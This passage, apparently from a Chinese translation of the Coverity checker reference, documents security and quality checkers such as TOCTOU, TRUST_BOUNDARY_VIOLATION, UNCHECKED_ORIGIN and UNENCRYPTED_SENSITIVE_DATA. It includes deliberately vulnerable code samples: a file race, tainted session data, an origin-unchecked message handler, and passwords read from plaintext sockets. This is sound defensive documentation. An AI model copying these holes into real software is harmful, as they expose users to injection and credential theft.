 "new_issue_type" : {
 "type" : "leftover_debug_code",

 "name" : "Deployed test servlet",
 "description" : "A possible test servlet will be deployed.",
 "local_effect" : "Leftover debug or test code is not intended to be deployed
with the application in a production environment, and it may expose unintended
functionality or bypass security features.",

 "cwe" : 489,
 "impact" : "Medium",
 "category" : "Medium impact security",
 "security_kind" : true,
 }
}
]
```

由于这些指令，分析将报告以下 web.xml Web 应用程序部署描述符中存在 TEXT.NO\_TEST\_SERVLETS 缺陷。

```
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://
java.sun.com/xml/ns/javaee/web-app_2_5.xsd">

 <servlet>
 <servlet-name>test services</servlet-name>
 <servlet-class>com.synopsys.killerapp.test.TestServlet</servlet-class>
 <load-on-startup>1</load-on-startup>
 </servlet>

 <servlet-mapping>
 <servlet-name>test services</servlet-name>
 <url-pattern>/test/*</url-pattern>
 </servlet-mapping>

</web-app>
```

### 4.316. TOCTOU 质量、安全检查器

#### 4.316.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

TOCTOU、TOCTOU (“检查使用时间的时间”[Time Of Check To Time Of Use]的缩写) 可查找在使用文件名之前不安全地对其执行检查的很多情况。在需要较高运行权限的程序中，这可能会暴露基于文件的竞争条件漏洞(此类漏洞可能被用于破坏系统安全)。常见的代码错误是，执行文件名访问检查，如果成功则对该文件名执行具有权限的系统调用。当攻击者可以更改文件名在访问和使用调用之间的文件关联时(例如通过操纵符号链接)，就会发生问题。在某些情况下，可以通过在系统调用(而不是文件名)之间传递文件描述符来消除此类漏洞。但是，POSIX API 功能不够全面，无法通过该方式消除所有漏洞，因此可能需要使用更强大的程序重构(例如使用 setuid 临时解除权限)。

此检查器支持以下检查函数：

```
stat, lstat, statfs, access, readlink
```

此检查器支持以下使用函数：

```
basename, bindtextdomain, catopen, chown, dirname, dlopen, freopen, ftw,
mkfifo, nftw, opendir, pathconf, realpath, setmntent, utmpname, chdir,
chmod, chroot, creat, execv, execve, execl, execvp, execle,
lchown, mkdir, fopen, remove, tempnam, mknod, quotactl, rmdir, truncate,
umount, unlink, uselib, utime, utimes, link, mount, rename, symlink, open
```

默认禁用：TOCTOU 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用：要与其他安全检查器一起启用 TOCTOU，请在 cov-analyze 命令中使用 --security 选项。

#### 4.316.2. 示例

本部分提供了一个或多个 TOCTOU 示例。

此程序很容易发生基于文件的竞争条件，因为 logfile 绑定可能会在 stat() 和 open() 调用之间发生更改。

```
void toctou_example() {
 stat(logfile, &st);
 if (st.st_uid != getuid())
 return -1;
 open(logfile, O_RDWR);
}
```

#### 4.316.3. 事件

本部分描述了 TOCTOU 检查器生成的一个或多个事件。

- fs\_check\_call : 对指定的文件名调用了“检查”程序。

- `toctou` : 文件名被传递给了“检查”程序，现在被用作同一路径中“使用”程序的参数。

## 4.317. TRUST\_BOUNDARY\_VIOLATION

安全检查器

### 4.317.1. 概述

支持的语言：. Java

`TRUST_BOUNDARY_VIOLATION` 会在被污染的数据流到通常被假定为可信的数据结构或上下文时报告缺陷。因为来自这些源的数据可能未被验证或净化，所以该数据可能会错误地以不安全的方式使用。

`TRUST_BOUNDARY_VIOLATION` 检查器使用全局信任模型确定是否信任 servlet 输入、网络数据、文件系统数据或数据库信息。您可以使用 `cov-analyze` 的 `--trust-*` 和/或 `--distrust-*` 选项修改当前设置。

默认禁用：`TRUST_BOUNDARY_VIOLATION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要同时启用 `TRUST_BOUNDARY_VIOLATION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

### 4.317.2. 缺陷剖析

`TRUST_BOUNDARY_VIOLATION` 缺陷说明了不可信（被污染）数据被发送给可信任数据结构的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分说明将被污染的值传递给了信任边界。

### 4.317.3. 示例

本部分提供了一个或多个 `TRUST_BOUNDARY_VIOLATION` 示例。

下面的 Java 代码使用来自 HTTP 请求的被污染数据并将其存储在会话对象 (`req.getSession`) 中，该对象通常是可信任的数据结构。

```
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.ServletException;
import java.io.IOException;

class TrustBoundaryViolationTest extends HttpServlet {

 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException
```

```

{
 String userId = req.getParameter("userId");
 req.getSession().setAttribute("userId", userId);
}
}

```

#### 4.317.4. 模型和注解

Java 模型和注解（请参阅第 6.3 节“Java 模型和注解”）可以在以下情况下改进通过此检查器执行的分析：

- 如果分析由于未将某些数据视为被污染而漏报了缺陷，请参阅关于 `@Tainted` 注解的讨论，并参阅第 6.3.1.3 节“对不信任（被污染）数据的源建模”，了解关于将方法返回值、参数和字段标记为被污染的说明。
- 如果分析由于它将字段视为被污染而发生误报，并且您认为被污染的数据不会流入该字段，请参阅 `@NotTainted`。

请参阅第 6.3.1.5 节“添加字段被污染或未被污染的断言”。

### 4.318. UNCAUGHT\_EXCEPT

质量检查器

#### 4.318.1. 概述

支持的语言：. C++

`UNCAUGHT_EXCEPT` 可查找抛出异常并且绝不会被捕获或者违反函数异常规范的很多情况。此类行为导致的后果通常是程序异常终止。

如果发生以下任何一种情况，该检查器将会报告缺陷：

- 抛出了函数异常规范不允许的异常。
- 根函数中抛出了异常。默认情况下，根函数被定义为不具有任何已知的调用方，并且其名称与以下正则表达式匹配：

```
((((^|_)m|M)ain)|(^MAIN))$
```

前面的正则表达式与 `main`、`WinMain`、`MAIN` 匹配。它与 `DOMAIN` 不匹配。



#### Note

默认情况下，该检查器会忽略 `bad_alloc` 异常，因为 `operator new` 经常抛出此异常，而且大部分程序不受其影响。此检查器的 `except_ignore` 选项和 `cov-analyze` 的 `--handle-badalloc` 选项会覆盖此默认行为。

默认启用：`UNCAUGHT_EXCEPT` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

### 4.318.2. 示例

本部分提供了一个或多个 UNCAUGHT\_EXCEPT 示例。

```
// Example 1:
// Prototypical defect.
int main(){
 throw 7;
 return 0;
}
```

```
// Example 2:
// A simple defect resulting from a function call.
void fun() {
 throw 7;
}
int main(){
 fun();
 return 0;
}
```

```
// Example 3:
// An exception is thrown,
// violating the exception specification.
void fun() {
 throw 7;
}
void cannot_throw() throw() {
 fun();
}
```

```
// Example 4:
// An exception is thrown inside a try-catch block,
// but none of the catch statements has a matching type.
class A {};
class B {};
class C {};

int main(){
 try {
 throw A();
 } catch (B b){
 } catch (C c){
 }
 return 0;
}
```

```
// Example 5:
// The exception is caught, but can be re-thrown.
class A {};
```

```

int main() {
 try {
 throw A(); //Will not be caught.
 } catch (...) {
 cerr << "Error" << endl;
 throw;
 }
}

```

#### 4.318.3. 选项

本部分描述了一个或多个 UNCAUGHT\_EXCEPTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNCAUGHT\_EXCEPTION:except\_ignore:<exception\_class\_identifier\_pattern> - 该 C++ 选项可排除匹配的可从根函数逃逸的不符合条件标识符。如果模式与异常的类标识符匹配，该检查器将从缺陷报告中排除异常。默认值未设置。

该检查器将此选项的值视为非锚定的正则表达式，除非该值与异常类标识符完全匹配。在后一种情况下，该检查器只会排除完全匹配的项，不会排除与该值部分匹配的异常。您可以指定此选项多次。

在异常不是类实例的极少数情况下，此选项不会影响针对该异常的缺陷报告。

该检查器在运行 except\_report 之后运行此选项。与 except\_report 不同，此选项适用于异常规范冲突。

如果您使用此选项，该检查器只会在存在匹配值的情况下排除 bad\_alloc 异常。否则，它会报告此异常。

- UNCAUGHT\_EXCEPTION:except\_report:<exception\_class\_identifier\_pattern> - 该 C++ 选项可查找匹配的可从根函数逃逸的不符合条件标识符。如果模式与异常的类标识符匹配，该检查器会在缺陷报告中包含相应异常。默认值未设置。

该检查器将此选项的值视为非锚定的正则表达式，除非该值与异常类标识符完全匹配。在后一种情况下，该检查器只会报告完全匹配的项，不会报告与该值部分匹配的异常。您可以指定此选项多次。

您可以使用此选项强制该检查器报告 bad\_alloc 异常。它对于报告异常规范冲突没有影响。

此选项向后兼容 5.4 版本之前的逗号分隔字符串值。

- UNCAUGHT\_EXCEPTION:follow\_indirect\_calls:<boolean> - 当此 C++ 选项为 true 并且启用了虚函数调用跟踪和/或函数指针跟踪功能时，UNCAUGHT\_EXCEPTION 将跟踪此类间接调用，以便传递抛出的异常。当该选项为 false 时，则认为异常不会在间接调用之间传递，即使已启用间接调用跟踪。默认值为 UNCAUGHT\_EXCEPTION:follow\_indirect\_calls:false
- UNCAUGHT\_EXCEPTION:fun\_ignore:<function\_identifier\_pattern> - 如果异常是由于与指定值部分或全部匹配的函数导致的，则该 C++ 选项从缺陷报告中排除相应异常。您通过与 fun\_report 相同的方式指定函数标识符。默认值未设置。

此选项不适用于异常规范冲突。

此选项会覆盖 fun\_report 选项。

您可以指定此选项多次。该检查器可检查所有匹配值。

- UNCAUGHT\_EXCEPT:fun\_report:<function\_identifier\_pattern> - 该 C++ 选项可指定部分或完全匹配的函数标识符。该检查器将此选项的值视为非锚定的正则表达式。也就是说，单个标识符导致完全匹配，而正则表达式元字符生成部分匹配。默认值未设置。

如果您指定 fun\_report，该检查器会：

- 将任何包含与 <value> 匹配的不符合条件标识符的函数（例如 bar::foo(int) 中的 foo）视为根函数，而且会将从该函数逃逸的任何异常报告为缺陷。该检查器按此方式执行操作，无论其他函数是否调用匹配的函数。
- 将 main 及其变体（例如 WinMain 和 MAIN）视为入口点（仅当它们的函数标识符与其中一个指定值匹配时）。

此选项不适用于异常规范冲突。

您可以指定此选项多次。该检查器可检查所有匹配值。

- UNCAUGHT\_EXCEPT:report\_all\_fun:<boolean> - 当此 C++ 选项被设置为 true 时，它会启用报告有关未被其他函数调用的所有函数的异常的功能。默认值为 UNCAUGHT\_EXCEPT:report\_all\_fun:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。

- UNCAUGHT\_EXCEPT:report\_exn\_spec:<boolean> - 当此 C++ 选项被设置为 false 时，它会禁用报告异常规范冲突的功能。默认值为 UNCAUGHT\_EXCEPT:report\_exn\_spec:true
- UNCAUGHT\_EXCEPT:report\_thrown\_pointers:<boolean> - 当此 C++ 选项被设置为 true 时，该检查器将在任何指针被抛出时报告错误。在 C++ 中，建议通过值抛出，不要通过指针抛出。默认值为 UNCAUGHT\_EXCEPT:report\_thrown\_pointers:false

示例：

```
struct A { };
int main() {
 try {
 // The programmer actually wanted "throw A();"
 throw new A();
 } catch (A &a) {
 } catch (...) {
 // The exception is caught here, but was intended
 // to be caught in the above block.
 }
}
```

#### 4.318.4. 事件

本部分描述了 UNCAUGHT\_EXCEPTION 检查器生成的一个或多个事件。

- 以下两种事件只能出现一种：
  - exn\_specViolation - 表明函数抛出了其异常规范不允许的异常。
  - rootFunction - 表明根函数没有捕获可能在其执行期间抛出的异常。

- 以下事件可以出现任意数量：
  - funCallWithException - 表明函数抛出了异常。它具有模型链接。
  - funCallWithRethrow - 表明函数存在 rethrowOutsideCatch 事件。
  - rethrow - 表明 throw 语句重新抛出了绝不会被捕获的异常。
  - rethrowOutsideCatch - 表明 throw 语句出现在包含 try 语句的函数之外。
  - uncaughtException - 标记产生绝不会被捕获的异常的 throw 语句。

### 4.319. UNCHECKED\_ORIGIN

安全检查器

#### 4.319.1. 概述

支持的语言：. JavaScript

如果 window 消息事件处理程序没有验证所接收事件消息的来源，则 UNCHECKED\_ORIGIN 会报告此类情况。攻击者可以通过事件消息发送任意数据。未经验证的事件消息可能导致网页中发生 DOM-XSS 或其他基于注入的安全问题。

默认禁用：UNCHECKED\_ORIGIN 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 UNCHECKED\_ORIGIN 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

#### 4.319.2. 缺陷剖析

UNCHECKED\_ORIGIN 缺陷说明了没有检查其参数来源的 window.onmessage 事件处理程序。该缺陷中的各种事件说明了注册该处理程序（例如通过指定给 window.onmessage）的代码以及该处理程序本身的代码。

#### 4.319.3. 示例

本部分提供了一个或多个 UNCHECKED\_ORIGIN 示例。

此示例包含缺陷。

```

function bad_handler(event) { // Defect here.
 consumeData(event.data); // May result in unintended behavior
 event.source.postMessage("secret", event.origin); // May leak secrets
}
window.addEventListener("message", bad_handler);

```

此示例不包含缺陷。

```

// Good example:
function good_handler(event) {
 if(event.origin == "http://mydomain.com") {
 consumeData(event.data);
 event.source.postMessage("secret", event.origin);
 }
}
window.addEventListener("message", good_handler);

```

## 4.320. UNENCRYPTED\_SENSITIVE\_DATA

安全检查器

### 4.320.1. 概述

支持的语言：. C、C++、C#、CUDA、Java、Kotlin、Objective-C、Objective-C++、Swift、Visual Basic

UNENCRYPTED\_SENSITIVE\_DATA 检查器可查找使用通过未加密方式传输或存储的敏感数据（例如密码、加密密钥等）的代码。如果未经加密即存储或传输敏感数据，会导致攻击者窃取或篡改此类数据。修复此类缺陷需要更改所有端点。

- 默认启用：UNENCRYPTED\_SENSITIVE\_DATA 默认对 Kotlin 和 Swift 启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。
- 默认禁用：UNENCRYPTED\_SENSITIVE\_DATA 默认对 C、C++、CUDA、Objective-C 和 Objective-C ++ 禁用。要针对这些语言启用 UNENCRYPTED\_SENSITIVE\_DATA，您可以使用 cov-analyze 的 --enable 选项。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。
- 默认禁用：UNENCRYPTED\_SENSITIVE\_DATA 默认对 C#、Java 和 Visual Basic 禁用。要针对这些语言和其他 Web 应用程序检查器启用 UNENCRYPTED\_SENSITIVE\_DATA，请使用 --webapp-security 选项。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.320.2. 缺陷剖析

UNENCRYPTED\_SENSITIVE\_DATA 在确定数据在安全 API 中用作密码、密码密钥或安全令牌时，将推断该数据为敏感数据。如果它还发现此数据在未经加密的情况下被存储或传输的证据，将报告缺陷。

因此，UNENCRYPTED\_SENSITIVE\_DATA 缺陷表明通过敏感方式使用了通过未加密方式在其中传输或存储数据的数据流路径。该路径从加密数据源开始，例如从常规（未通过 SSL/TLS 加密）套接字中读取。在此处开始，缺陷中的各种事件说明了此未加密数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。最后，该缺陷的主要事件说明了未加密数据是如何通过敏感方式使用的，例如在未加密的情况下作为密码或密码密钥。

### 4.320.3. 示例

本部分提供了一个或多个 UNENCRYPTED\_SENSITIVE\_DATA 示例。

#### 4.320.3.1. C/C++

下面的示例从常规（未通过 SSL/TLS 加密）套接字中读取未加密数据，并将其用作密码。具有网络访问权限的攻击者可以在此类数据传输过程中截获密码。

```
void test(int socket, char* password) {
 recv(socket, password, 100, 0);
 HANDLE pHandle;

 LogonUserA("User", "Domain", password,
 LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &pHandle);
 // Defect here.
}
```

#### 4.320.3.2. C#

下面的示例从 cookie 中读取未加密数据，并将其用作密码。如果 HTTP 连接未使用 SSL 加密，则具有网络访问权限的攻击者可以在此类数据传输过程中截获密码。该密码也可以从用户的浏览器 cookie 存储库中提取。

```
class TestUnencryptedSensitiveData{
 public void TestCookie() {
 HttpCookie cookie = new HttpCookie("TestCookie");
 string pwd = cookie.Values["password"];
 // Defect below.
 NetworkCredential credential = new NetworkCredential("testName", pwd);
 }
}
```

#### 4.320.3.3. Java

下面的示例从常规（未通过 SSL/TLS 加密）套接字中读取未加密数据，并将其用作密码。具有网络访问权限的攻击者可以在此类数据传输过程中截获密码。

```
public PasswordAuthentication test(String userName)
{
 PasswordAuthentication pwAuth = null;

 Socket socket = null;
 InputStreamReader isr = null;
 BufferedReader br = null;
 try
 {
 socket = new Socket("remote_host", 1337); // unencrypted / non-TLS Socket
 isr = new InputStreamReader(socket.getInputStream(), "UTF-8");
 }
```

```
 br = new BufferedReader(isr);
 String password = br.readLine();
 pwAuth = new PasswordAuthentication(userName, password.toCharArray());
 }
 catch (IOException exceptIO) { }

 return pwAuth;
}
```

#### 4.320.3.4. Kotlin

下面的示例从常规（未通过 SSL/TLS 加密）套接字中读取未加密数据，并将其用作密码。具有网络访问权限的攻击者可以在此类数据传输过程中截获密码。

```
fun test(userName: String): PasswordAuthentication? {
 return try {
 val socket = Socket("remote_host", 1337)
 val br = socket.getInputStream().bufferedReader()
 val password = br.readLine()
 PasswordAuthentication(userName, password.toCharArray())
 } catch (exceptIO: IOException) {
 null
 }
}
```

#### 4.320.3.5. Swift

下面的示例从 iCloud 密钥值存储库中读取 Web 服务密码。此服务不应用于存储敏感数据。

```
import Foundation

func UserDataServiceURL(cloud: NSUbiquitousKeyValueStore) -> URL? {
 var url = URLComponents()
 url.host = "mydomain.com"
 url.port = 4242
 url.path = "some/webservice"
 // DEFECT: Storing credentials in an iCloud shared key-value store
 // is insecure and strongly discouraged.
 url.password = cloud.string(forKey: "accountPassword")
 return url.url
}
```

#### 4.320.3.6. Visual Basic

下面的示例从 cookie 中读取未加密数据，并将其用作密码。如果 HTTP 连接未使用 SSL 加密，则具有网络访问权限的攻击者可以在此类数据传输过程中截获密码。该密码也可以从用户的浏览器 cookie 存储库中提取。

```
Imports System
Imports System.Web
Imports System.Net
```

```

Imports System.Security.Cryptography

Class TestUnencryptedSensitiveData
 Public Sub TestCookie()
 Dim cookie As HttpCookie = New HttpCookie("TestCookie")
 cookie.HttpOnly = true
 cookie.Secure = true
 Dim pwd As String = cookie.Values("password")
 Dim credential As NetworkCredential = New NetworkCredential("testName", pwd)
 End Sub
End Class

```

#### 4.320.4. 选项

本部分描述了一个或多个 UNENCRYPTED\_SENSITIVE\_DATA 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- UNENCRYPTED\_SENSITIVE\_DATA:encrypted\_data\_is\_sensitive:<boolean> - 如果此选项被设置为 true，该分析将推断之后被加密的数据为敏感数据。也就是说，如果该检查器检测到从网络（以此为例）中读取的纯文本数据加密，它会通过加密推断此类数据始终为敏感数据。默认值为 UNENCRYPTED\_SENSITIVE\_DATA:encrypted\_data\_is\_sensitive:true（适用于除 Swift 之外的所有语言）。
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_cookie:<boolean> - 如果此选项被设置为 true，该检查器将针对从 cookie 中读取未加密敏感数据的代码报告缺陷。否则，它不会报告此类情况。默认值为 UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_cookie:true（报告），适用于除 Swift 之外的所有语言。
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_database:<boolean> - 如果此选项被设置为 true，该检查器将针对从数据库中读取未加密敏感数据的代码报告缺陷。否则，它不会报告此类情况。默认值为 UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_database:true（报告），适用于所有语言。
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_filesystem:<boolean> - 如果此选项被设置为 true，该检查器将针对从文件系统中读取未加密敏感数据的代码报告缺陷。否则，它不会报告此类情况。默认值为 UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_filesystem:false（不会报告），适用于所有语言。如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 medium（或 high），则该检查器选项会自动设置为 true。
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_network:<boolean> - 如果此选项被设置为 true，该检查器将针对从网络中读取未加密敏感数据的代码报告缺陷。否则，它不会报告此类情况。默认值为 UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_network:true（报告），适用于除 Swift 之外的所有语言。
- UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_url\_connection:<boolean> - 如果此选项被设置为 true，该检查器将针对从 URL 连接中读取未加密敏感数据的代码报告缺陷。否则，它不会报告此类情况。默认值为 UNENCRYPTED\_SENSITIVE\_DATA:report\_from\_url\_connection:false（不会报告），适用于所有语言。

于除 Swift 之外的所有语言。如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 medium ( 或 high ) , 则该检查器选项会自动设置为 true 。

#### 4.320.5. 模型和注解

##### 4.320.5.1. C/C++

下面的原语可用于通过 UNENCRYPTED\_SENSITIVE\_DATA 执行的 C/C++ 分析 :

- \_\_coverity\_unencrypted\_passwd\_sink\_\_(void \*)
- \_\_coverity\_unencrypted\_crypto\_sink\_\_(void \*)
- \_\_coverity\_unencrypted\_token\_sink\_\_(void \*)

此示例使用 \_\_coverity\_unencrypted\_passwd\_sink\_\_(void \*) 为使用数据作为密码的函数建模 :

```
void authenticate(char *data) {
 __coverity_unencrypted_passwd_sink__(data);
}
```

对于上述模型 , 将来自套接字的未加密数据传递给此函数的数据参数会导致 UNENCRYPTED\_SENSITIVE\_DATA cleartext\_transmission 缺陷报告 , 如下面的示例所示。

```
void test(int socket) {
 char* data;
 recv(socket, data, 100, 0);
 authenticate(data);
 // UNENCRYPTED_SENSITIVE_DATA cleartext_transmission defect
}
```

##### 4.320.5.2. Java

Java 模型和注解 ( 请参阅 Section 5.4, “Java 模型和注解” ) 可以通过识别新的外部数据源 ( 来自文件系统、网络等 ) 和使用敏感数据的新方法 ( 称为“数据消费者” ) , 改进通过此检查器执行的分析。 UNENCRYPTED\_SENSITIVE\_DATA 会推断流入其中一个数据消费者的 data ( 即 , 用作密码或密码密钥的数据 ) 为敏感数据。您可以将 UNENCRYPTED\_SENSITIVE\_DATA 缺陷视为包含从源到数据消费者的数 据流路径 , 并且不具有任何将表明数据在进入应用程序时已经过加密的中间解密。

###### 4.320.5.2.1. Java 源

Coverity 默认认为多种未加密数据源建模。您可以使用 Coverity 源模型原语为其他 UNENCRYPTED\_SENSITIVE\_DATA 源建模。有关这些原语的描述 , 请参阅 Coverity Analysis 随附的文 档 ( 位于 <install\_dir> /doc/<en|ja>/primitives/index.html ) 。这些原语具有以下签名 :

- 用于为返回来自文件系统的数据的函数建模的签名 :

```
<T> T filesystem_source();
```

- 用于为函数 ( 包含被更新为或默认为包含来自文件系统的数据的参数 ) 建模的签名 :

```
<T> void filesystem_source(T <parameter>);
```

- 用于为返回来自数据库的数据的函数建模的签名 :

```
<T> T database_source();
```

- 用于为函数 ( 包含被更新为或默认为包含来自数据库的数据的参数 ) 建模的签名 :

```
<T> void database_source(T <parameter>);
```

- 用于为返回来自 cookie 的数据的函数建模的签名 :

```
<T> T cookie_source();
```

- 用于为函数 ( 包含被更新为或默认为包含来自 cookie 的数据的参数 ) 建模的签名 :

```
<T> void cookie_source(T <parameter>);
```

- 用于为返回未加密套接字的函数建模的签名 :

```
<T> T unencrypted_socket_source();
```

从此类套接字中读取的任何数据将被视为来自网络。

- 用于为函数 ( 包含被更新为或默认为未加密套接字的参数 ) 建模的签名 :

```
<T> void unencrypted_socket_source(T <parameter>);
```

从此类套接字中读取的任何数据将被视为来自网络。

- 用于为返回未加密 URL 连接的函数建模的签名 :

```
<T> T unencrypted_url_connection();
```

从此类 URL 连接中读取的任何数据将被视为来自网络。

- 用于为函数 ( 包含被更新为或默认为未加密 URL 连接的参数 ) 建模的签名 :

```
<T> void unencrypted_url_connection(T <parameter>);
```

从此类 URL 连接中读取的任何数据将被视为来自网络。

下面的示例使用 `database_source` 为返回来自数据库的数据或在参数中存储此类数据的函数建模 :

```
Object returnsDataFromADatabase() {
 database_source();
 // ...
```

```

}

void storesDataFromADatabaseInParam(Object arg) {
 database_source(arg);
 // ...
}

```

#### 4.320.5.2.2. Java 数据消费者

Coverity 默认认为多种未加密敏感数据消费者建模。您可以使用 Coverity 数据消费者模型原语为其他 UNENCRYPTED\_SENSITIVE\_DATA 数据消费者建模。有关这些原语的描述，请参阅 Coverity Analysis 随附的文档（位于 <install\_dir> /doc/<en|ja>/primitives/index.html）。这些原语具有以下签名：

- 用于为使用参数作为密码的函数建模的签名：

```
void unencrypted_passwd_sink(Object <parameter>);
```

- 用于为使用参数作为密码密钥的函数建模的签名：

```
void unencrypted_crypto_sink(Object <parameter>);
```

- 用于为使用参数作为安全令牌的函数建模的签名：

```
void unencrypted_token_sink(Object <parameter>);
```

下面的示例使用 unencrypted\_passwd\_sink 为使用数据作为密码的函数建模：

```

void authenticate(String userName, String password) {
 unencrypted_passwd_sink(password);
 // ...
}

```

对于上述模型，将来自数据库的未加密数据传递给密码参数会导致 UNENCRYPTED\_SENSITIVE\_DATA 报告类型为数据库“明文”(Cleartext) 敏感数据的缺陷。例如，UNENCRYPTED\_SENSITIVE\_DATA 检查器在以下每个示例中报告缺陷：

```

public void test1(String userName)
{
 String password = returnsDataFromADatabase();
 authenticate(userName, password);
}

public void test2(String userName) {
 byte[] passwordBuffer = new byte[256];
 storesDataFromADatabaseInParam(passwordBuffer);
 authenticate(userName, passwordBuffer);
}

```

#### 4.320.5.3. C# 和 Visual Basic

#### 4.320.5.3.1. C# 和 Visual Basic 源

Coverity 默认认为多种未加密数据源建模。您可以使用 Coverity 源模型原语为其他 UNENCRYPTED\_SENSITIVE\_DATA 源建模。有关这些原语的描述，请参阅 Section 5.2.1.3, “C# 和 Visual Basic 原语”。这些原语具有以下签名：

- 用于为返回来自文件系统的数据的函数建模的签名：

```
object FileSystemSource();
```

- 用于为函数（包含被更新为或默认为包含来自文件系统的数据的参数）建模的签名：

```
void FileSystemSource(object o);
```

- 用于为返回来自数据库的数据的函数建模的签名：

```
object DatabaseSource();
```

- 用于为函数（包含被更新为或默认为包含来自数据库的数据的参数）建模的签名：

```
void DatabaseSource(object o);
```

- 用于为返回来自 cookie 的数据的函数建模的签名：

```
object CookieSource();
```

- 用于为函数（包含被更新为或默认为包含来自 cookie 的数据的参数）建模的签名：

```
void CookieSource(object o);
```

- 用于为返回未加密套接字的函数建模的签名：

```
object UnencryptedSocketSource();
```

从此类套接字中读取的任何数据将被视为来自网络。

- 用于为函数（包含被更新为或默认为未加密套接字的参数）建模的签名：

```
void UnencryptedSocketSource(object o);
```

从此类套接字中读取的任何数据将被视为来自网络。

- 用于为返回未加密 URL 连接的函数建模的签名：

```
object UnencryptedUrlConnectionString();
```

从此类 URL 连接中读取的任何数据将被视为来自网络。

- 用于为函数（包含被更新为或默认为未加密 URL 连接的参数）建模的签名：

```
void UnencryptedUrlConnectionSource(object o);
```

从此类 URL 连接中读取的任何数据将被视为来自网络。

#### 4.320.5.3.2. 数据消费者

Coverity 默认为多种未加密敏感数据消费者建模。您可以使用 Coverity 数据消费者模型原语为其他 UNENCRYPTED\_SENSITIVE\_DATA 数据消费者建模。有关这些原语的描述，请参阅 Section 5.2.1.3, “C# 和 Visual Basic 原语”。这些原语具有以下签名：

- 用于为使用参数作为密码的函数建模的签名：

```
void UnencryptedPasswordSink(object o);
```

- 用于为使用参数作为密码密钥的函数建模的签名：

```
void UnencryptedCryptographicKeySink(object o);
```

- 用于为使用参数作为安全令牌的函数建模的签名：

```
void UnencryptedSecurityTokenSink(object o);
```

#### 4.320.5.4. Swift

Swift 不支持这些模型。

#### 4.320.6. 事件

本部分描述了 UNENCRYPTED\_SENSITIVE\_DATA 检查器生成的一个或多个事件。

- remediation - 关于修复潜在安全漏洞的方法的信息。
- sensitive\_data\_use - 主要事件：使用了未加密敏感数据。

##### 数据流事件

- argument - 方法的参数使用了未加密数据。
- assign - 将未加密的数据赋值给变量。
- attr - 将未加密的数据存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- call - 方法调用返回了未加密数据。
- concat - 将未加密数据与其他数据连接。
- field\_def - 通过字段传递了未加密数据。
- field\_read - 从字段中读取了未加密数据。

- `field_write` - 将未加密数据写入了字段。
- `map_read` - 从映射中读取了未加密数据。
- `map_write` - 将未加密数据写入了映射。
- `member_init` - 使用未加密数据创建类实例初始化了包含未加密数据的该类的成员。
- `object_construction` - 使用未加密数据创建了类实例。
- `parm_in` - 此方法参数接收未加密数据。
- `parm_out` - 此方法参数接收了未加密数据。
- `returned` - 方法调用返回了未加密数据。
- `returning_value` - 当前方法返回了未加密数据。
- `subclass` - 创建了类实例以用作超类。
- `unencrypted_data` - 属于未加密数据源的方法。
- `unencrypted_data_read` - 从未加密数据流中读取了未加密数据。
- `unencrypted_stream` - 属于未加密数据流源的方法。

## 4.321. UNESCAPED\_HTML

安全检查器

### 4.321.1. 概述

支持的语言：. Ruby

`UNESCAPED_HTML` 报告跨站点脚本漏洞的可能实例。请参阅 `XSS` 检查器，了解有关跨站点脚本的更多详情。

默认禁用：`UNESCAPED_HTML` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

### 4.321.2. 缺陷剖析

对于 HTML 上下文中未正确编码 HTML 实体的任何值输出报告 `UNESCAPED_HTML` 缺陷。这与仅报告被污染源的 `xss` 检查器不同。

### 4.321.3. 示例

本部分提供了一个或多个 `UNESCAPED_HTML` 示例。

下面的示例展示了使用 `raw` 函数的 ERB 模板中的查询参数输出，该函数禁用 HTML 转义。

```
<%= raw some_value %>
```

## 4.322. UNEXPECTED\_CONTROL\_FLOW

安全检查器

### 4.322.1. 概述

支持的语言：. C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Ruby、Swift、TypeScript 和 Visual Basic

